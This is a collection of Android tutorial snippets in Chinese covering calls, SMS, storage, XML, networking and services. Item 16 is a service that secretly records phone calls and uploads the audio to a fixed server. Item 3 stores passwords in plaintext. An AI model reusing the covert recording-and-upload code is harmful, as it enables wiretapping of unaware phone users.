android小知識點程式碼片段
1 撥打到電話的操作 播打電話號碼
Intent intent = new Intent(); intent.setAction(Intent.ACTION_CALL); intent.setData(Uri.parse("tel:"+number)); startActivity(intent);
2 傳送簡訊的操作 簡訊過長時 拆分簡訊 一條簡訊最大的文本長度 是多少 ? 中文 70 漢字 英文 160字元
SmsManager smsmanager = SmsManager.getDefault(); /* *sentIntent, deliveryIntent延期的意圖 , *sentintent 發送報告 *deliveryIntent 送達報告 */ ArrayList messages = smsmanager.divideMessage(content); for(String message : messages){ smsmanager.sendTextMessage(number, null, message, null, null); }
3.檢測sd卡狀態,並往sd卡中寫資料。需要許可權
//MEDIA_UNKNOWN:不能識別sd卡 //MEDIA_REMOVED:沒有sd卡 //MEDIA_UNMOUNTED:sd卡存在但是沒有掛載 //MEDIA_CHECKING:sd卡正在準備 //MEDIA_MOUNTED:sd卡已經掛載,可用 if(Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED)) //返回一個File對象,其路徑是sd卡的真實路徑 File file = new File(Environment.getExternalStorageDirectory(), "info.txt"); FileOutputStream fos; try { fos = new FileOutputStream(file); fos.write((name + "##" + pass).getBytes()); fos.close(); } catch (Exception e) { e.printStackTrace(); } } else{ Toast.makeText(this, "sd卡不可用喲親麼麼噠", 0).show(); }}
4.判斷sd卡剩餘容量。
File path = Environment.getExternalStorageDirectory();StatFs stat = new StatFs(path.getPath());long blockSize;long totalBlocks;long availableBlocks;//擷取當前系統版本的等級if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR2){ //4.3版本後開始起作用 blockSize = stat.getBlockSizeLong(); totalBlocks = stat.getBlockCountLong(); availableBlocks = stat.getAvailableBlocksLong();} else{ //否則使用舊的api blockSize = stat.getBlockSize(); totalBlocks = stat.getBlockCount(); availableBlocks = stat.getAvailableBlocks();}TextView tv = (TextView) findViewById(R.id.tv);tv.setText(formatSize(availableBlocks * blockSize));
5使用xml序列化器產生xml檔案
//1.拿到序列化器對象XmlSerializer xs = Xml.newSerializer();//2.初始化File file = new File("sdcard/sms2.xml");try { FileOutputStream fos = new FileOutputStream(file); //enconding:指定用什麼編碼產生xml檔案 xs.setOutput(fos, "utf-8"); //3.開始產生xml檔案 //enconding:指定頭結點中的enconding屬性的值 xs.startDocument("utf-8", true); xs.startTag(null, "message"); for (Message sms : smsList) { xs.startTag(null, "sms"); xs.startTag(null, "body"); xs.text(sms.getBody() + "
"); xs.endTag(null, "body"); xs.startTag(null, "date"); xs.text(sms.getDate()); xs.endTag(null, "date"); xs.startTag(null, "type"); xs.text(sms.getType()); xs.endTag(null, "type"); xs.startTag(null, "address"); xs.text(sms.getAddress()); xs.endTag(null, "address"); xs.endTag(null, "sms"); } xs.endTag(null, "message"); //告訴序列化器,檔案產生完畢 xs.endDocument(); } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); }
6.解析xml檔案
//擷取到src檔案夾下的資源檔InputStream is = getClassLoader().getResourceAsStream("weather.xml");//拿到pull解析器對象XmlPullParser xp = Xml.newPullParser();//初始化try { xp.setInput(is, "gbk"); //擷取當前節點的事件類型,通過事件類型的判斷,我們可以知道當前節點是什麼節點,從而確定我們應該做什麼操作 int type = xp.getEventType(); City city = null; while(type != XmlPullParser.END_DOCUMENT){ //根據節點的類型,要做不同的操作 switch (type) { case XmlPullParser.START_TAG: // 擷取當前節點的名字 if("weather".equals(xp.getName())){ //建立city集合對象,用於存放city的javabean cityList = new ArrayList(); } else if("city".equals(xp.getName())){ //建立city的javabean對象 city = new City(); } else if("name".equals(xp.getName())){ // 擷取當前節點的下一個節點的文本 String name = xp.nextText(); city.setName(name); } else if("temp".equals(xp.getName())){ // 擷取當前節點的下一個節點的文本 } else if("pm".equals(xp.getName())){ // 擷取當前節點的下一個節點的文本 } break; case XmlPullParser.END_TAG: if("city".equals(xp.getName())){ } break; } //把指標移動到下一個節點,並返回該節點的事件類型 type = xp.next(); }} catch (Exception e) { e.printStackTrace();}
7 listview最佳化
1)複用convertView View v = null; //判斷條目是否有緩衝 if(convertView == null){ //把布局檔案填充成一個View對象 v = View.inflate(MainActivity.this, R.layout.item_listview, null); }else{ v = convertView; } 2)利用viewHolder,返回一個View對象,作為listview的條目顯示至介面 public View getView(int position, View convertView, ViewGroup parent) { News news = newsList.get(position); View v = null; ViewHolder mHolder; if(convertView == null){ v = View.inflate(MainActivity.this, R.layout.item_listview, null); mHolder = new ViewHolder(); //把布局檔案中所有組件的對象封裝至ViewHolder對象中 mHolder.tv_title = (TextView) v.findViewById(R.id.tv_title); mHolder.tv_detail = (TextView) v.findViewById(R.id.tv_detail); mHolder.tv_comment = (TextView) v.findViewById(R.id.tv_comment); mHolder.siv = (SmartImageView) v.findViewById(R.id.iv); //把ViewHolder對象封裝至View對象中 v.setTag(mHolder); }else{ v = convertView; mHolder = (ViewHolder) v.getTag(); } //給三個文字框設定內容 mHolder.tv_title.setText(news.getTitle()); mHolder.tv_detail.setText(news.getDetail()); mHolder.tv_comment.setText(news.getComment() + "條評論"); //給新聞圖片imageview設定內容 mHolder.siv.setImageUrl(news.getImageUrl()); return v; } class ViewHolder{ //條目的布局檔案中有什麼組件,這裡就定義什麼屬性 TextView tv_title; TextView tv_detail; TextView tv_comment; SmartImageView siv; }
8 junit 測試架構的使用
1)在manifest中添加上下列代碼 2)在application下添加以下代碼 3)建立測試類別繼承AndroidTestCase類 4)編寫測試方法
10 採用get方式提交資料 原理:拼裝url
String param1 = URLEncoder.encode(name); String param2 = URLEncoder.encode(password); URL url = new URL(path + "?name=" + param1 + "&password=" + param2); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setRequestMethod("GET"); conn.setReadTimeout(5000); // 資料並沒有發送給伺服器 // 擷取伺服器返回的流資訊 InputStream is = conn.getInputStream();
11 提交中文時會產生亂碼問題
1)伺服器端問題 Tomcat 預設編碼為iso8859-1 而提交的資料編碼為utf-8 處理方法:伺服器端onPost方法中 Sring name=request.getParameter("name"); if(name!=null){ name=new String(name.getBytes("iso8859-1"),"utf-8"); } 2)安卓端的問題 提交的url中文要編碼 解決辦法 String param1 = URLEncoder.encode(name); String param2 = URLEncoder.encode(password); URL url = new URL(path + "?name=" + param1 + "&password=" + param2);
12 採用post方法提交資料
1)get 一次提交的資料資料量比較小 4K 內部其實通過組拼url的方式 post 可以提交比較大的資料 form表單的形式 流的方式寫到伺服器 public static String sendDataByPost(String path, String name,String password) throws Exception { String param1 = URLEncoder.encode(name); String param2 = URLEncoder.encode(password); URL url = new URL(path); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); String data = "name=" + param1 + "&password=" + param2; conn.setRequestMethod("POST"); conn.setConnectTimeout(5000); // 設定 http協議可以向伺服器寫資料 conn.setDoOutput(true); // 設定http協議的訊息頭 設定提交的資料類型為表單類型 conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); conn.setRequestProperty("Content-Length", data.length() + ""); // 把我們準備好的data資料寫給伺服器 OutputStream os = conn.getOutputStream(); os.write(data.getBytes()); // httpurlconnection 底層實現 outputstream 是一個緩衝輸出資料流 // 只要我們擷取任何一個伺服器返回的資訊 , 資料就會被提交給伺服器 , 得到伺服器返回的流資訊 int code = conn.getResponseCode(); if (code == 200) { InputStream is = conn.getInputStream(); byte[] result = StreamTool.getBytes(is); return new String(result); } else { throw new IllegalStateException("伺服器狀態異常"); } } 2)處理中文 亂碼 String param1 = URLEncoder.encode(name); String param2 = URLEncoder.encode(password); URL url = new URL(path); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); String data = "name=" + param1 + "&password=" + param2;
13 由於面向http協議提交資料很麻煩,所以gogole提供了一套簡單api httpclient來類比瀏覽器 使用httpclient get方式提交資料
/** * httpclient 瀏覽器的簡單封裝 * new HttpClient 就相當於得到了一個瀏覽器 */ public static String sendDataByHttpClientGet (String path , String name,String password) throws Exception{ //1. 擷取到一個瀏覽器的執行個體 HttpClient client = new DefaultHttpClient(); //2. 準備請求的地址 String param1 = URLEncoder.encode(name); String param2 = URLEncoder.encode(password); HttpGet httpGet = new HttpGet(path + "?name=" + param1 + "&password=" + param2); //3. 發請求 HttpResponse ressponse = client.execute(httpGet); int code = ressponse.getStatusLine().getStatusCode(); if(code == 200){ InputStream is =ressponse.getEntity().getContent(); byte[] result = StreamTool.getBytes(is); return new String(result); } else{ throw new IllegalStateException("伺服器狀態異常"); } }
14 採用httpclient post方式提交資料
public static String sendDataByHttpClientPost(String path , String name,String password) throws Exception{ //1. 擷取到一個瀏覽器的執行個體 HttpClient client = new DefaultHttpClient(); //2. 準備要請求的 資料類型 HttpPost httppost = new HttpPost(path); // 索引值對 List< NameValuePair> parameters = new ArrayList(); parameters.add(new BasicNameValuePair("name", name)); parameters.add(new BasicNameValuePair("password", password)); UrlEncodedFormEntity entity = new UrlEncodedFormEntity(parameters, "utf-8"); //3.設定post請求的資料實體 httppost.setEntity(entity); //4. 發送資料給伺服器 HttpResponse ressponse = client.execute(httppost); int code = ressponse.getStatusLine().getStatusCode(); if(code == 200){ InputStream is =ressponse.getEntity().getContent(); byte[] result = StreamTool.getBytes(is); return new String(result); } else{ throw new IllegalStateException("伺服器狀態異常"); }}
15 簡訊監聽器擷取簡訊的操作在onreceive方法中
// intent 存放的有接收到的簡訊的內容 Object[] pdus = (Object[]) intent.getExtras().get("pdus"); for(Object pdu:pdus){ SmsMessage message = SmsMessage.createFromPdu((byte[])pdu); // 擷取簡訊的本文內容 final String content = message.getMessageBody(); //擷取簡訊的寄件者 final String address = message.getOriginatingAddress();
16 四大組件service的使用 服務是運行在主線程中的。 AndroidManifest中配置組件
啟動服務 :Intent intent = new Intent(this,PhoneListenService.class);startService(intent);1 在服務裡實現電話監聽許可權: 監聽電話狀態 監聽sd卡狀態 寫外部存放裝置 錄音 使用mic 訪問互連網public class PhoneListenService extends Service { public IBinder onBind(Intent intent) { return null; } //2. onCreate方法在服務第一次被建立的時候 執行 public void onCreate() { super.onCreate(); setForeground(true); //提升為前台進程 // 1. 判斷當前手機的狀態, // 如果發現手機處於 通話狀態 // 建立一個錄音器, 錄下來使用者的通話資訊 // 當發現手機再次處於 idle 狀態 停止錄音機,把音頻檔案 上傳到伺服器 // 得到手機與電話狀態相關的服務 TelephonyManager manager = (TelephonyManager) this .getSystemService(TELEPHONY_SERVICE); //監聽電話狀態 manager.listen(new MyPhoneListener(),PhoneStateListener.LISTEN_CALL_STATE); } private class MyPhoneListener extends PhoneStateListener { MediaRecorder recorder = null; /** *當電話的通話狀態發生改變的時候 被調用的方法 */ @Override public void onCallStateChanged(int state, String incomingNumber) { try { switch (state) { case TelephonyManager.CALL_STATE_IDLE: // 當前電話處於閑置狀態 System.out.println("當前電話處於閑置狀態 "); // 判斷下recorder是否為空白 if(recorder!=null){ recorder.stop(); recorder.release(); // Now the object cannot be reused recorder = null; new Thread(){ @Override public void run() { // 上傳資料到伺服器 示範的代碼 有問題的 File file = new File("/sdcard/temp.3gp"); try { upload(file); } catch (Exception e) { e.printStackTrace(); } } }.start(); } break; case TelephonyManager.CALL_STATE_RINGING: // 當前電話處於零響狀態 System.out.println("電話號碼為 " + incomingNumber); break; case TelephonyManager.CALL_STATE_OFFHOOK: // 當前電話處於接聽狀態 System.out.println("當前電話處於通話狀態 "); // 初始化一個錄音器, recorder = new MediaRecorder(); recorder.setAudioSource(MediaRecorder.AudioSource.MIC); recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); recorder.setOutputFile("/sdcard/temp.3gp"); recorder.prepare(); recorder.start(); // Recording is now started break; } } catch (Exception e) { e.printStackTrace(); } super.onCallStateChanged(state, incomingNumber); } } public void upload(File file) throws Exception{ // 執行個體化上傳資料的 數組 part [] Part[] parts = { new FilePart("file",file)}; PostMethod filePost = new PostMethod("http://192.168.1.247:8080/web/LoginServlet"); filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost.getParams())); org.apache.commons.httpclient.HttpClient client = new org.apache.commons.httpclient.HttpClient(); client.getHttpConnectionManager().getParams() .setConnectionTimeout(5000); int status = client.executeMethod(filePost); if(status==200){ System.out.println("上傳成功"); } else{ throw new IllegalStateException("伺服器狀態異常"); } }}
13service的生命週期
oncreate() 服務建立時候調用的方法onstart() 服務開啟時候調用的方法ondestroy() 服務停止時候調用的方法兩種服務開啟方式1)通過startservice()開始服務 StopService()結束服務。2)綁定方式參數 1 intent 2 serviceConnection介面 3 Context.BIND_AUTO_CREATE 綁定的時候服務不存在的時候會自動建立bindService(service,conn,flags);unBindService